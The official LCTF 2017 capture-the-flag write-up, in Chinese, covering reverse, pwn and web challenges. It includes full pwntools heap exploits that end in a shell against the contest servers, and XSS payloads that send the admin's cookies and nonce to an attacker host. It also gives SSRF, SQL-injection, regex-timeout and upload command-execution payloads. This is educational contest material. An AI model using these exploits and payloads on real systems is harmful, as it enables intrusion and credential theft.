LCTF 2017 官方Writeup

本题有一个指向Wikipedia LDW页面的Hint,是因为题目设计之初是想模仿现代汽车上常用的LDW系统。题目文件中含有两张图片,分别对应着LDW输入的地图,和驾驶员采取的驾驶路径。程序中的LDW首先判断驾驶路径是否在地图许可的范围内,如果不在,就报警;接下来另一个模块会检查驾驶路径是否经过了预设的几个危险点,如果没有经过,认为攻击失败。满足以上所有条件,即可得到flag。参赛者需要在分析以上程序逻辑的基础上提供两个文件,这两个文件(同样是图片)和上文中提到的两张内置图片分别异或后,作为被攻击者影响之后的地图和驾驶员操作,提供给上述的判断逻辑。

由此,一个简单的攻击思路是,提取出程序内置的两张图片之后,用Photoshop的自由变形功能,扭曲两张图片,使其经过指定位置,之后将新图片和原图片分别异或,并提交结果,即可得到正确解答。

这个题主要的坑点应该是OpenCV。很多人反馈跑不起来,这个和库版本有关系,我用的是最新版的库。另外还有人被Windows 10的图片查看器坑了,唉,临门一脚……所以劝大家多用Linux,你看Linux下连个像样的好看的图片查看器都没有(除了chromium),自然不会发生这种问题。此外另一个坑点是由于我写的算法鲁棒性太差,如果输入数据的连续性不够就会segfault……

题目设计之初本来是想按照真正的LDW工作,由三个线程构成,一个负责输出摄像头和操作数据,一个负责做LDW,另一个负责做危险点检测,且把核心逻辑放到CUDA中。但由于自己码力不太够,只能采取目前这种伪LDW设计,希望大家还是玩的开心。

题目源代码已经在 https://github.com/SilverBut/LCTF2017_BeRealDriver 公开,上述的两张图片可在 LCTF2017_BeRealDriver/code/examples 中找到,题目设计思路文档可在 LCTF2017_BeRealDriver/doc 中找到。

YublKey

本题是临时起意想到的。GH60是一款开源键盘,大多数情况下其使用的固件是 tmk_keyboard 。本题设计是,在烧入此固件后按下特定按钮,即通过 print 函数输出flag,这个输出操作是通过使用固件自带的钩子点 hook_matrix_change 实现的,所以如果能找到源码并阅读一下,或者是自行编译后做bindiff,就可以发现这个hook点被改动过,直接分析相关代码即可。

这个题首要难题就是怎么知道这是个GH60的固件,实际通过字符串就能看到GH60(从一个老司机那里学到的这一招, strings -e l ./YublKey-stripped-elf ),搜一下就有一些思路了,当然还是有点小脑洞。另外一点就是IDA对部分MCU的支持不太好,不过对GH60使用的MCU来说应该还是没什么大问题的。放出elf文件之后,加载和函数识别实际就没有什么问题了,题目难度下降了一档,但是仍然没有人做,可能是大家已经对我失去信心了吧233……

同上题一样,这个题的设计和实现也有一些差距……原意是在固件中植入一个键盘记录器,输入flag字符串后将内存中的记录信息输出,选手需要逆向程序逻辑来得到flag。但由于编码时间不够,就选择了现在这种比较挫的设计思路。

题目源代码同样也在github上开源了,地址为 https://github.com/SilverBut/LCTF2017_YublKey 公开。我是clone后直接修改的,所以可以看一下最近的几次提交记录。

NuclearBomb

首先向各位道歉……本题出现了一些问题。赛后Atum指出,在CUDA函数内的数据同步存在问题,移位操作是在S盒置换操作之后发生的,因此会导致数据不一致,影响解题结果。虽然后续分析后发现这一点可能(至少在出题人机器上)并不会影响最终结果,但还是因此干扰了各位的解题思路。在此就我连续第三年翻车(?)表示诚挚的歉意,希望各位大佬不要穿过网线来线下真人快打。

然后先说一下算法吧,输入的flag是分组处理的,每 4 byte 用来初始化一个随机数发生器,之后取出一组随机数用来膨胀成一个数组。之后对数组中的元素按字节进行替换,然后按 uint32 进行循环移位(上文中的bug就出现在这里)。结果会和预设的一个数组比较,如果通过,则输入值即为flag。

这一题的坑点有:

  1. (再次感谢Atum指出)Nvidia的官方文档对移位指令的描述有问题;
  2. 不是所有人都有可以跑CUDA的GPU,一些笔记本的CPU实际是不能跑的;
  3. mtrand需要查表爆破,很容易让选手认为思路跑偏。

除了第三点在设计时候是预料到的以外,前两点都是没想到的。第三点当时测试过,跑一轮表最多需要10h(四代移动版i7-4712MQ,16G,单线程,SSD,linux,g++),因此时间上不会出太多问题。但为了避免思路受阻,还是尽量提前放了这道题。

题目源码也在github上开源了,地址为 https://github.com/SilverBut/LCTF2017_NuclearBomb

滑稽博士

纯粹的游戏。

当初的设计思路是进行游戏作弊的时间消耗要比完整逆向出flag的长,也就是诱导各位写游戏外挂。

但是出题人自己的代码力不是很足,最后程序结构写崩了…

无奈只好改动成一般的一个程序。

使用C++编写,里面用了不少的继承和虚函数,但是都和flag没有什么关系(笑)。

思路有很多,可以直接搞清楚程序流,定位和flag相关的部分。

或者也可以找到游戏里面生成敌人的代码,把Hp改成1,然后通关游戏获得Flag。

代码就不上了,烂到难以形容。

USE YOUR IDA?

use your IDA

额…QAQ …这题出了个小差错…给各位大师傅 带来的不便还请谅解, 借鉴了下看雪的溢出思路, 其他的思路是我自己设计用汇编写的, 某几位大师傅还请口下留德。 在处理 flag的时候的的循环少写了次, 当时可能出题写代码写累了, 少循环了一次。 造成了某四位多解的情况。

出题思路是: 前面一个输入函数, 将 flag 读入系统栈, 然后进入一个混淆的伪 flag 验证函数, 验证函数里面, 提示得很明显,(可以返回到我写的另外一个混淆的伪 flag 函数), 只要看懂了, 程序怎么访问 flag 的话, 在 od 中搜索访问 flag 的指令相关指令就行。 然后, 就会发现其中的奥秘。

剩下的是处理那堆混淆.

和一些大师傅交流过后, 有下面几种思路:

  1. python 正则处理 (出题的时候, 也是这么想的)

    将混淆代码去掉, 然后匹配成相应的语句, 逆向过来就行

  2. OD 脚本处理

    大师傅给了个 OD 脚本, 还没搞

  3. 爆破验证(操作最骚, 最简单)

    查看最终 flag 比较的内存验证, 然后试输入, 比对内存, 获得 flag。

  4. angr 跑

    (是时候学习一波了!)

  5. 汇编能力够强, 不熟悉 Python,可用 notepad++的正则(当然用 py 更好), 匹配然

    后逆向写 keygen。

相关脚本:

发现还是大师傅们写得好, 于是放上了南航师傅的脚本。

decrypt.py

# -*- coding:utf-8 -*-

import re
import ctypes

flag_pattern =  "\[ebx\+([\s\S]+)\]"
operation_pattern = "eax,\ ([\s\S]+)"
file = open("IDA.txt",'r',encoding='utf-8')
operation = []
flag_op = []
for i in range(20):
	flag_op.append([])
for eachline in file:
	operation.append(eachline)

flag = [0xf2,0x6e,0xd1,0xb1,0x7e,0x8b,0x3e,0x8e,0xb1,0x67,0x6e,0xe2,0xf7,0xa8,0x3d,0xce,0x2f,0xb0,0xec,0x0]
length = len(operation)
index = 0
while index < length:
	# this mean that we have a operation about our flag
	if "movzx" in operation[index]:
		# print(operation[index])

		msg = re.findall(flag_pattern, operation[index])[0]
		if 'h' in msg:
			msg = msg[:-1]

		flag_index = int(msg,16)-1
		index += 1
		# first ,we checkout push is in it
		if "push" in operation[index]:
				while not ("pop"  in operation[index] and "push" not in operation[index+1]):
					index += 1
				# now index is in pop
				index += 1
				
		if "add" in operation[index]:
			num = re.findall(operation_pattern, operation[index])[0]
			if 'h' in num:
				num = num.replace('h','').strip()
			flag_op[flag_index].append("+" + str(int(num,16)))
			# print(index)
			index += 1
		elif "sub" in operation[index]:
			num = re.findall(operation_pattern, operation[index])[0]
			if 'h' in num:
				num = num.replace('h','').strip()
			flag_op[flag_index].append("-" + str(int(num,16)))
			index += 1
		elif "xor" in operation[index]:
			num = re.findall(operation_pattern, operation[index])[0]
			if 'h' in num:
				num = num.replace('h','').strip()
			flag_op[flag_index].append("^" + str(int(num,16)))
			index += 1
		else:
			print("I forget %s!"%operation[index])
		
		# then ,we should check out the next is mov or not, because there are push to obscure
		if "mov" in operation[index]:
			# this mean our operation is finish
			# print("Ohhh no , we skip {}".format(operation[index]))
			continue
		else:
			# this is obsecure with operation
			if "push" in operation[index]:
				while not ("pop"  in operation[index] and "push" not in operation[index+1]):
					index += 1
				# now index is in pop
				index += 1
			# print("we finish pop at {}".format(operation[index]))
			# next ,we check if we need others operations
			if "add" in operation[index]:
				num = re.findall(operation_pattern, operation[index])[0]
				if 'h' in num:
					num = num.replace('h','').strip()
				flag_op[flag_index].append("+" + str(int(num,16)))
			elif "sub" in operation[index]:
				num = re.findall(operation_pattern, operation[index])[0]
				if 'h' in num:
					num = num.replace('h','').strip()
				flag_op[flag_index].append("-" + str(int(num,16)))
			elif "xor" in operation[index]:
				num = re.findall(operation_pattern, operation[index])[0]
				if 'h' in num:
					num = num.replace('h','').strip()
				flag_op[flag_index].append("^" + str(int(num,16)))
				# xor
				index += 1
			# and next must be "mov"
			elif "mov" in operation[index]:
				continue
			else:
				print("I must be wrong at {}".format(operation[index]))
				index += 1
			if "mov" not in operation[index]:
				if 'push' in operation[index]:
					while not ("pop"  in operation[index] and "push" not in operation[index+1]):
						index += 1
						# now index is in pop
					index += 1
					# this must be mov
					if "mov" not in operation[index]:
						print("My gold {}".format(operation[index]))
				else:
					print("this has some question {}".format(operation[index]))
				
	else:
		index += 1

print(flag_op[0])
# print(flag_op[1][1] == flag_op[0][1])
for i in range(0,256):
	num = i
	for each_op in flag_op[0]:
		if each_op[0] == '-':
			num = num - int(each_op[1:])
		elif each_op[0] == '+':
			num = num + int(each_op[1:])
		elif each_op[0] == '^':
			# flag[i] ^= int(each_op[1:], 16)
			num = ctypes.c_ubyte(num).value ^ ctypes.c_ubyte(int(each_op[1:])).value	
	# print(num,end= ',')
	if ctypes.c_ubyte(num).value == 0xf2:
		print(i)
		break

for i in range(len(flag_op)):
	flag_op[i].reverse()
	for each_op in flag_op[i]:
		if each_op[0] == '-':
			flag[i] = flag[i] + int(each_op[1:])
		elif each_op[0] == '+':
			flag[i] = flag[i] - int(each_op[1:])
		elif each_op[0] == '^':
			# flag[i] ^= int(each_op[1:], 16)
			flag[i] = ctypes.c_ubyte(flag[i]).value ^ ctypes.c_ubyte(int(each_op[1:])).value


print(flag)
for i in flag:
	print(chr(ctypes.c_ubyte(i).value),end = '')

PWN

2ez4u

思路

  1. 分配一个large chunk大小的块
  2. 自己在堆上事先伪造好一个largechunk的头
  3. 利用uaf来修改large chunk的bknextsize,让bknextsize指向这里(需要构造的合适一点,绕过glibc的检查),效果就是能malloc出这块地方。
  4. 之后就是很常规的利用这个malloc出来的chunk来泄露libc,修改fastbin的fd
  5. 修改main_arena上的top为free_hook上面一些的地方
  6. 通过几次malloc,修改free_hook为system的地址

exp

#!/usr/bin/env python2.7
# -*- coding: utf-8 -*-

from pwn import *
from ctypes import c_uint32

context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'x86-64'
context.os = 'linux'
context.log_level = 'DEBUG'

io = remote("111.231.13.27", 20001)
#io = process("./chall", env = {"LD_PRELOAD" : "./libc-2.23.so"})
#io = process("2EZ4U_e994c467c9d8237e155f55f8c8315027")

EXEC = 0x0000555555554000

def add(l, desc):
    io.recvuntil('your choice:')
    io.sendline('1')
    io.recvuntil('color?(0:red, 1:green):')
    io.sendline('0')
    io.recvuntil('value?(0-999):')
    io.sendline('0')
    io.recvuntil('num?(0-16)')
    io.sendline('0')
    io.recvuntil('description length?(1-1024):')
    io.sendline(str(l))
    io.recvuntil('description of the apple:')
    io.sendline(desc)
    pass

def dele(idx):
    io.recvuntil('your choice:')
    io.sendline('2')
    io.recvuntil('which?(0-15):')
    io.sendline(str(idx))
    pass

def edit(idx, desc):
    io.recvuntil('your choice:')
    io.sendline('3')
    io.recvuntil('which?(0-15):')
    io.sendline(str(idx))
    io.recvuntil('color?(0:red, 1:green):')
    io.sendline('2')
    io.recvuntil('value?(0-999):')
    io.sendline('1000')
    io.recvuntil('num?(0-16)')
    io.sendline('17')
    io.recvuntil('new description of the apple:')
    io.sendline(desc)
    pass

def show(idx):
    io.recvuntil('your choice:')
    io.sendline('4')
    io.recvuntil('which?(0-15):')
    io.sendline(str(idx))
    pass

add(0x60,  '0'*0x60 ) #
add(0x60,  '1'*0x60 ) #
add(0x60,  '2'*0x60 ) #
add(0x60,  '3'*0x60 ) #
add(0x60,  '4'*0x60 ) #
add(0x60,  '5'*0x60 ) #
add(0x60,  '6'*0x60 ) #

add(0x3f0, '7'*0x3f0) # playground
add(0x30,  '8'*0x30 )
add(0x3e0, '9'*0x3d0) # sup
add(0x30,  'a'*0x30 )
add(0x3f0, 'b'*0x3e0) # victim
add(0x30,  'c'*0x30 )

dele(0x9)
dele(0xb)
dele(0x0)

#gdb.attach(io, execute='b *0x%x' % (EXEC+0x1247))
add(0x400, '0'*0x400)

# leak
show(0xb)
io.recvuntil('num: ')
print hex(c_uint32(int(io.recvline()[:-1])).value)

io.recvuntil('description:')
HEAP = u64(io.recvline()[:-1]+'\x00\x00')-0x7e0
log.info("heap base 0x%016x" % HEAP)

target_addr = HEAP+0xb0     # 1
chunk1_addr = HEAP+0x130    # 2
chunk2_addr = HEAP+0x1b0    # 3
victim_addr = HEAP+0xc30    # b

# large bin attack
edit(0xb, p64(chunk1_addr))             # victim
edit(0x1, p64(0x0)+p64(chunk1_addr))    # target

chunk2  = p64(0x0)
chunk2 += p64(0x0)
chunk2 += p64(0x421)
chunk2 += p64(0x0)
chunk2 += p64(0x0)
chunk2 += p64(chunk1_addr)
edit(0x3, chunk2) # chunk2

chunk1  = ''
chunk1 += p64(0x0)
chunk1 += p64(0x0)
chunk1 += p64(0x411)
chunk1 += p64(target_addr-0x18)
chunk1 += p64(target_addr-0x10)
chunk1 += p64(victim_addr)
chunk1 += p64(chunk2_addr)

edit(0x2, chunk1) # chunk1
edit(0x7, '7'*0x198+p64(0x410)+p64(0x411))

dele(0x6)
dele(0x3)
add(0x3f0, '3'*0x30+p64(0xdeadbeefdeadbeef)) # chunk1, arbitrary write !!!!!!!
add(0x60,  '6'*0x60 ) #

show(0x3)
io.recvuntil('3'*0x30)
io.recv(8)
LIBC = u64(io.recv(6)+'\x00\x00')-0x3c4be8
log.info("libc base 0x%016x" % LIBC)

junk  = ''
junk += '3'*0x30
junk += p64(0x81)
junk += p64(LIBC+0x3c4be8)
junk += p64(HEAP+0x300)
junk  = junk.ljust(0xa8, 'A')
junk += p64(0x80)

recovery  = ''
recovery += junk
recovery += p64(0x80) # 0x4->size
recovery += p64(0x60) # 0x4->fd

dele(0x5)
dele(0x4)
edit(0x3, recovery) # victim, start from HEAP+0x158
add(0x60,  '4'*0x60 ) #

recovery  = ''
recovery += junk
recovery += p64(0x70) # 0x4->size
recovery += p64(0x0) # 0x4->fd
edit(0x3, recovery) # victim, start from HEAP+0x158

add(0x40,  '5'*0x30 ) #

dele(0x5)

recovery  = ''
recovery += '3'*0x30
recovery += p64(0x61)
recovery += p64(LIBC+0x3c4b50)
edit(0x3, recovery) # victim, start from HEAP+0x158

add(0x40,  '5'*0x30 ) #

add(0x40,  p64(LIBC+0x3c5c50)) #

# recovery
edit(0xb, p64(HEAP+0x7e0))
dele(0x6)

add(0x300, '\x00') #
add(0x300, '\x00') #
add(0x300, '\x00') #
add(0x300, '\x00') #
add(0x300, '/bin/sh') #
dele(0x1)
#add(0x300, '\x00'*0x1d0+p64(LIBC+0x45390)) #
add(0x300, '\x00'*0x1d0+p64(LIBC+0x4526a)) #
#gdb.attach(io, execute='b *0x%x' % (EXEC+0x1247))

dele(15)

io.interactive()

toy

漏洞

程序修改自 https://github.com/skx/simple.vm

在peek和poke处修改了一下,把检查地址是否越界的部分给改了

利用

利用方法可能有很多,下面是我写exp的步骤

  1. 通过store-string来malloc出合适的chunk,然后将其free
  2. 将被free的chunk里的libc和heap的地址通过peek来读取到寄存器里
  3. 修改被free的fastbin的fd,使其指向第10个寄存器(刚好在exit指令的函数句柄上面)_
  4. 通过得到的libc地址来计算出system的地址,用concat指令来写入到exit指令的函数句柄上

exp

#!/usr/bin/env python2.7
# -*- coding: utf-8 -*-

from pwn import *
from struct import pack


context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'x86-64'
context.os = 'linux'
context.log_level = 'DEBUG'

EXEC = 0x0000555555554000

#io = process("./simple-vm")
io = remote("111.231.19.153", 20003)

#gdb.attach(io, execute='b *0x%x' % (EXEC+0x000000000000175B))
#gdb.attach(io, execute='b *0x%x' % (EXEC+0x000000000000157D)) # call
#gdb.attach(io, execute='b *0x%x' % (EXEC+0x0000000000001900)) # debug

store_string = lambda reg, leng, s: pack("<bbH", 0x30, reg, leng)+s
store_int = lambda reg, val: pack("<bbH", 0x01, reg, val)
add = lambda dst, src1, src2: pack("<bbbb", 0x21, dst, src1, src2)
sub = lambda dst, src1, src2: pack("<bbbb", 0x22, dst, src1, src2)
mul = lambda dst, src1, src2: pack("<bbbb", 0x23, dst, src1, src2)
div = lambda dst, src1, src2: pack("<bbbb", 0x24, dst, src1, src2)
peek = lambda reg, addr: pack("<bbb", 0x60, reg, addr)
poke = lambda reg, addr: pack("<bbb", 0x61, reg, addr)
inc = lambda reg: pack("<bb", 0x25, reg)
dec = lambda reg: pack("<bb", 0x26, reg)
concat = lambda dst, src1, src2: pack("<bbbb", 0x32, dst, src1, src2)
debug = lambda : '\x0a'
exit = lambda : '\x00'

'''
#0 addr
#1 libc_hi
#2 libc_lo
#5 reserved
#7 heap_lo
#9 0x81

将free chunk的fd改为reg9的地方,修改exit的函数指针为system
'''

# stage0
payload  = ''

code = [
    store_string(0x0, 0x20, "A"*0x20),
    store_string(0x1, 0x20, "A"*0x20),
    store_string(0x4, 0xa0, "A"*0xa0),
    store_string(0x5, 0xa0, "A"*0xa0),
    store_int(0x4, 0xffff), # (free 1)

    # stage1 mov (int)heap to #7
    store_int(0x1, 0xffff), # (free 1)
    store_int(0x0, 0x14), # (free 0)
    add(0x0, 0x0, 0x1),
    store_int(0x8, 0x100), # (free 1)

    [
        peek(0x6, 0x0),
        mul(0x7, 0x7, 0x8),
        add(0x7, 0x7, 0x6),
        dec(0x0)
    ]*4,

    # stage2 mov (int)heap to #9
    store_int(0x1, 0xffff),
    store_int(0x0, 0x78),
    add(0x0, 0x0, 0x1),
    store_int(0x8, 0x100),

    [
        peek(0x6, 0x0),
        mul(0x1, 0x1, 0x8),
        add(0x1, 0x1, 0x6),
        dec(0x0)
    ]*4,

    [
        peek(0x6, 0x0),
        mul(0x2, 0x2, 0x8),
        add(0x2, 0x2, 0x6),
        dec(0x0)
    ]*4,

    # stage 3
    store_int(0x3, 0xffff),
    store_int(0x0, 0x11),
    add(0x0, 0x0, 0x3),
    store_int(0x9, 0xffff),
    store_int(0x8, 0x1891),
    add(0x8, 0x8, 0x9),
    sub(0x7, 0x7, 0x8),
    store_int(0x8, 0x100),

    [
        poke(0x7, 0x0),
        div(0x7, 0x7, 0x8),
        inc(0x0),
    ]*4,


    # stage4 overwrite fp
    store_int(0x8, 0x0),

    [
        store_int(0x9, 0xffff),
        add(0x8, 0x8, 0x9),
    ]*0x37,

    store_int(0x9, 0xf81f),
    add(0x8, 0x8, 0x9),
    sub(0x2, 0x2, 0x8), # calculate system address
    store_int(0x3, 0xffff),
    store_int(0x0, 0x121),
    add(0x0, 0x0, 0x3),
    store_int(0x8, 0x100),

    [
        poke(0x2, 0x0),
        div(0x2, 0x2, 0x8),
        inc(0x0)
    ]*4,


    [
        poke(0x1, 0x0),
        div(0x1, 0x1, 0x8),
        inc(0x0)
    ]*4,

    store_int(0x9, 0x31),
    store_string(0x7, 0x18, "A"*0x18),
    debug(),
    concat(0x8, 0x7, 0x5),
    pack("<bb", 0x01, 0x0)+'sh',    # store-int #0, 0x51 (free 0)

    #stage5 trigger
    exit()
]

payload = flat(arr)

io.recvuntil("size")
io.sendline(str(len(payload)))

io.send(payload)

io.interactive()

完美冻结

漏洞很简单。

程序用mmap生成了两块0x1000内存快,实现了一套奇怪的存储装置:一个用来做buff,一个用来存数据。

做buff的堆块在重新设置大小( bmap_set )时,使用的是 unsigned short ,但是做加法时(或者从 unsigned int 转换到 unsigned short 时)会产生整数溢出。

利用 // 符号读入大量的字符,再配合 \0 符号就可以将buff溢出到后面的堆块。

第二个装置里面用的是位字段指示某个地址是否空闲。将该字段覆盖掉,即可造成两个数据结构被分配在一个地址上。

由于出题人的程序结构又写崩了,于是无奈之下直接给了 system() 函数的地址…也就是说完全不需要绕过任何保护。

利用覆盖将函数指针覆盖为system的即可getshell。

看似复杂其实随便堆点时间就可以拿到flag…就像9的符卡一样嘛(笑)。

代码会随其他源码一同给出。

出题人的验证exp(不知道为什么很莫名其妙但是的确getshell了):

#!/usr/bin/env python2

from pwn import *

context.terminal = ['gnome-terminal', '-x', 'sh', '-c']

#p = process('./easy')
#p = gdb.debug('./easy')

puts_plt = 0x00400810
system = 0x400870

payload = ""

payload += "VALUE 1 65\n"

#payload += "VALUE 2 66\n"
pay = "VALUE 2 "
pay += str(system)
pay += '\n'
payload += pay

payload += "VALUE 3 67\n"
payload += "MOV 1 2\n"

pay = "// "
pay += "A" * (32 - len(pay) - 1)
pay += '\n'
payload += pay

pay = "// "
pay += "B" * (32 - len(pay))
pay += "\x07\x00"
pay += "B" * (0xFFFF - len(pay) - 1)
pay += '\n'
payload += pay

pay = "VALUE 4 29400045130965551"
pay += '\n'
payload += pay

payload += "PRINT 4\n"
payload += "END\n"

p.send(payload)

p.interactive()

shopping?

由于出题师傅太过繁忙, 所以大家找找网上解出题目的师傅的wp吧~

WEB

wanna hack him

这题有两种解法。

解法一

利用 dangling markup attack 。传入一个未闭合的标签,来把后面内容通过请求直接发出去,因为bot的版本是Chrome60所以可以直接用一个比较常见的payload

<img src='http://yourhost/?key=

这样因为 <img> 标签里的 src 未闭合所以会把后面的html代码也当做 src 属性的一部分直到遇到下一个单引号,所以我们可以拿到管理员的 nonce

拿到nonce后就是常规XSS操作了。

解法二

因为这题的 nonce 是根据 session 生成的,所以我们可以用 <meta> 标签来 Set-Cookie ,把bot的 PHPSESSID 设置成我们的,这样bot的 nonce 就和我们的一样。可以通过 preview.php 拿到我们的 nonce

payload:

<meta http-equiv="Set-Cookie" content="PHPSESSID=yoursession; path=/">
<script nonce="yournonce">(new Image()).src='http://yourhost/?cookie='+escape(document.cookie)</script>

关注我blog接下来的详细分析: http://math1as.com/

签到题

题目不难, 一共就只有几个点

  • 用file协议读取本地文件
  • 绕过逻辑中对host的检查, curl是支持file://host/path, file://path这两种形式, 但是即使有host, curl仍然会访问到本地的文件
  • 截断url后面拼接的/, GET请求, 用?#都可以

payload其实很简单: file://www.baidu.com/etc/flag?

<?php 
if(!$_GET['site']){ 
	echo <<<EOF 
<html> 
<body> 
look source code: 
<form action='' method='GET'> 
<input type='submit' name='submit' /> 
<input type='text' name='site' style="width:1000px" value="https://www.baidu.com"/> 
</form>
</body>
</html> 
EOF; 
	die(); 
}

$url = $_GET['site']; 
$url_schema = parse_url($url); 
$host = $url_schema['host']; 
$request_url = $url."/"; 

if ($host !== 'www.baidu.com'){ 
	die("wrong site"); 
}

$ci = curl_init();
curl_setopt($ci, CURLOPT_URL, $request_url);
curl_setopt($ci, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($ci);
curl_close($ci);

if($res){ 
	echo "<h1>Source Code:</h1>"; 
	echo $request_url; 
	echo "<hr />"; 
	echo htmlentities($res); 
}else{ 
	echo "get source failed"; 
} 

?>

萌萌哒报名系统

这题提示给了IDE,那么我们可以想到PHP有款强大的IDE叫做PHPSTORM,他新建项目的时候会生成一个.idea文件夹,访问发现有一个 workspace.xml 文件,访问里面发现了一个 xdcms2333.zip

下载可得到整站源码

register.php

<?php
	include('config.php');
	try{
		$pdo = new PDO('mysql:host=localhost;dbname=xdcms', $user, $pass);
	}catch (Exception $e){
		die('mysql connected error');
	}
	$admin = "xdsec"."###".str_shuffle('you_are_the_member_of_xdsec_here_is_your_flag');
    $username = (isset($_POST['username']) === true && $_POST['username'] !== '') ? (string)$_POST['username'] : die('Missing username');
    $password = (isset($_POST['password']) === true && $_POST['password'] !== '') ? (string)$_POST['password'] : die('Missing password');
    $code = (isset($_POST['code']) === true) ? (string)$_POST['code'] : '';

    if (strlen($username) > 16 || strlen($username) > 16) {
        die('Invalid input');
    }

    $sth = $pdo->prepare('SELECT username FROM users WHERE username = :username');
    $sth->execute([':username' => $username]);
    if ($sth->fetch() !== false) {
        die('username has been registered');
    }

    $sth = $pdo->prepare('INSERT INTO users (username, password) VALUES (:username, :password)');
    $sth->execute([':username' => $username, ':password' => $password]);

    preg_match('/^(xdsec)((?:###|\w)+)$/i', $code, $matches);
    if (count($matches) === 3 && $admin === $matches[0]) {
        $sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, :identity)');
        $sth->execute([':username' => $username, ':identity' => $matches[1]]);
    } else {
        $sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, "GUEST")');
        $sth->execute([':username' => $username]);
    }
	echo '<script>alert("register success");location.href="./index.html"</script>';

login.php

<?php
	session_start();
	include('config.php');
	try{
		$pdo = new PDO('mysql:host=localhost;dbname=xdcms', $user, $pass);
	}catch (Exception $e){
		die('mysql connected error');
	}
	$username = (isset($_POST['username']) === true && $_POST['username'] !== '') ? (string)$_POST['username'] : die('Missing username');
    $password = (isset($_POST['password']) === true && $_POST['password'] !== '') ? (string)$_POST['password'] : die('Missing password');

    if (strlen($username) > 32 || strlen($password) > 32) {
        die('Invalid input');
    }

    $sth = $pdo->prepare('SELECT password FROM users WHERE username = :username');
    $sth->execute([':username' => $username]);
    if ($sth->fetch()[0] !== $password) {
        die('wrong password');
    }
    $_SESSION['username'] = $username;
	unset($_SESSION['is_logined']);
	unset($_SESSION['is_guest']);
	#echo $username;
	header("Location: member.php");
?>

member.php

<?php
	error_reporting(0);
	session_start();
	include('config.php');
	if (isset($_SESSION['username']) === false) {
        die('please login first');
    }
	try{
		$pdo = new PDO('mysql:host=localhost;dbname=xdcms', $user, $pass);
	}catch (Exception $e){
		die('mysql connected error');
	}
    $sth = $pdo->prepare('SELECT identity FROM identities WHERE username = :username');
    $sth->execute([':username' => $_SESSION['username']]);
    if ($sth->fetch()[0] === 'GUEST') {
        $_SESSION['is_guest'] = true;
    }

    $_SESSION['is_logined'] = true;
	if (isset($_SESSION['is_logined']) === false || isset($_SESSION['is_guest']) === true) {
        
    }else{
		if(isset($_GET['file'])===false)
			echo "None";
		elseif(is_file($_GET['file']))
			echo "you cannot give me a file";
		else
			readfile($_GET['file']);
	}
?>

这里我们首先看 register.php ,这里我弄一个坑,就是

$admin = $admin = "xdsec"."###".str_shuffle('you_are_the_member_of_xdsec_here_is_your_flag');

然后下面

preg_match('/^(xdsec)((?:###|\w)+)$/i', $code, $matches);

如果匹配了 $matches[0]=$admin 就可以把xdsec注册到identities表中,可样我们就可以绕过第一层, member.php 中的

if ($sth->fetch()[0] === 'GUEST') {
        $_SESSION['is_guest'] = true;
    }

但是str_shuffle是不可预测的,不知道有没有人在这里被我坑到XD.但是真正的思路不在这里。

下面说说我在后台审计中看到了很多人用的非预期解–条件竞争。

因为身份验证是用 if ($sth->fetch()[0] === 'GUEST') 那么如果在identities表中没有 username 这一行数据,那么取出来 $sth->fetch()[0] 结果就是null,还是可以绕过第一层,所以可以用python多线程注册用户,在

$sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, :identity)');

语句执行之前登陆上去就可以绕过第一层。

其实正解是通过pre_match函数的资源消耗来绕过,因为pre_match在匹配的时候会消耗较大的资源,并且默认存在贪婪匹配,所以通过喂一个超长的字符串去给pre_match吃,导致pre_match消耗大量资源从而导致php超时,后面的php语句就不会执行。

payload:

code=xdsec###AAAAAAAAAAAAAAAAAAA(超多个A)

然后再登陆既可以绕过第一层。

第二层则比较简单,利用一个phpbug。给出个实例

<?php
$a = '123.php';
$b = 'php://filter/resource=123.php';
var_dump(is_file($a));
var_dump(is_file($b));
?>
boolean true
boolean false

利用伪协议就可以绕过php的is_file,然后读取本目录下的config.php即可得到flag

LCTF{pr3_maTch_1s_A_amaz1ng_Function}

他们有什么秘密呢?

题目由两部分组成,第一部分是一个sqli,第二部分是一个文件上传+命令执行

第一部分

第一个入口

http://182.254.246.93/entrance.php

id=3时,product name = nextentrance,再结合源代码里面的提示,可以得出,我们的目的是得到整个表的信息~

这里基本没有过滤,但是不能使用information_schema表,也就无从获取表名和字段信息了,当然,不会是爆破。

此外,可以发现开启了报错,所以我们可以用一些小技巧,来查出表名,字段名。

mysql很灵活,这里有多种解法的。

获取数据库名

根据mysql的特性,用一个不存在的自定义函数,就可以爆出数据库名

pro_id=a()

得到数据库名 youcanneverfindme17

获取表名

有一篇文章提到过,当开启报错时,polygon函数可以用来获取当前表名和其字段名,不过这里我将polygon过滤掉了,

前往

https://dev.mysql.com/doc/refman/5.5/en/func-op-summary-ref.html

把这几百个函数用正则处理下来,然后fuzz,会发现还有其它函数可以用

multiPolygon(id)

multilinestring(id)

linestring(id)

GeometryCollection(id)

MultiPoint(id)

polugon(id)

我这里过滤的时候,专门漏了linestring,用它爆出当前表名

pro_id=1 and linestring(pro_id)

获取字段名

接下来就是需要得到表product_2017ctf的字段名了

开启了报错,所以这里可以使用using+join的方法来获取,

pro_id=1 union select * from (select * from product_2017ctf as A join product_2017ctf as B using(pro_id)) as C

得到字段名:pro_id pro_name owner d067a0fa9dc61a6e

获取表内容

理论上用联合查询就可以查出来了,不过这里我把最后一个字段名过滤了,

所以要在不出现字段名的情况下查出内容,将一个虚拟表和当前表联合起来即可

pro_id=-1 union select 1,a.4,3,4 from (select 1,2,3,4 from dual union select * from product_2017ctf)a limit 3,1;

得到关键内容:7195ca99696b5a896.php

根据tip,结合一下,得到下一关入口:

d067a0fa9dc61a6e7195ca99696b5a896.php

其实这里方法是很多的,使用移位注入和比较注入同样可以查出表内容,都不需要用到字段名~

第二部分

上传后缀和内容都没有限制,只有一个长度的限制,还是挺简单的

创建z.php

<?= * ;

创建bash 内容任意

创建bash2 存放要执行的命令

由于每个人的上传目录下有一个index.html,所以先要把它删掉

所以第一次执行z.php时,bash2文件内容为:

rm i*

第二次执行z.php时,bash2文件的内容为:

ls /

因为长度的限制,所以flag的位置肯定在根目录下的,

cat /3*

得到flag

这个是最简单的方法,也可以用wget写一个shell到目录下~

L PLAYGROUND

0x00.前期准备

1.环境介绍

